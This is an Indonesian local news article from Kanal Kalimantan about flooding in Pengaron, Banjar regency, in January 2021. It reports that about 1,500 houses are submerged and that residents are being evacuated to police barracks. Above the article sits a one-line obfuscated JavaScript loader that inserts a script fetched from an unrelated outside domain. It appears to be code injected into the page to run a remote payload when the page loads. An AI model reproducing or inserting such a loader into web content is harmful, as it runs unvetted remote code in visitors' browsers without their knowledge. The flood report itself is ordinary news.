(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

1.500 Rumah di Pengaron Terendam, Air Terus Naik, Warga Dievakuasi ke Asrama Polsek


KANALKALIMANTAN.COM, MARTAPURA – Kepolisian Sektor (Polsek) Pengaron jajaran Polres Banjar menerjunkan tim evakuasi warga terdampak banjir besar di Kecamatan Pengaron, Selasa (12/1/2021) siang.

Bersama Tim SAR Sat Sabhara Polres Banjar, Koramil Pengaron dan perangkat desa bahu membahu memberikan bantuan kepada para korban banjir. Termasuk mengevakuasi harta benda berharga milik warga dialihkan ke tempat lebih tinggi.

Kapolres Banjar AKBP Andri Koko Prabowo melalui Kapolsek Pengaron Iptu Herry Bombay mengatakan bahwa berdasarkan hasil pemantauan di lapangan debit air semakin meningkat.

“Di wilayah ini permukiman penduduk memang berlokasi rendah, sehingga saat musim penghujan seperti saat ini hampir semua rumah tergenang air,” jelas Iptu Herry Bombay.

 

“Banjir ini merupakan banjir kiriman yang disebabkan akibat luapan air sungai Riam Kiwa berasal dari wilayah hulu atau gunung,” lanjut Iptu Herry Bombay.

Beberapa desa di Kecamatan Pengaron yang saat ini terendam banjir antara lain Desa Atiim, Desa Lumpangi, Desa Benteng, Desa Pengaron, Desa Lobang Baru, Desa Lok Tunggul, Desa Antaraku dan Desa Mangkaok.

Berdasarkan keterangan Kapolsek, awal mula daerah yang mengalami rendaman akibat luapan air sungai Riam Kiwa adalah Desa Benteng dan Desa Pengaron.

“Ada beberapa titik di Desa Benteng dan Desa Pengaron yang ketinggian air bahkan mencapai 2 meter,” ucapnya

 

“Untuk desa yang lainnya masih belum bisa termonitor berapa kedalaman air karena akses jalan terendam air, diperlukan alat transportasi perairan seperti perahu atau jukung,” katanya.

Saat ini diketahui sekitar 1.500 rumah penduduk di Kecamatan Pengaron yang terendam banjir. “Untuk sementara warga dievakuasi ke Asrama Polsek Pengaron, kebetulan ada empat bangunan asrama yang kosong,” tutupnya. (kanalkalimantan.com/wahyu)

Reporter: Wahyu
Editor: Bie


Al Ghifari

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

4 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

4 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

4 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

7 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

13 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.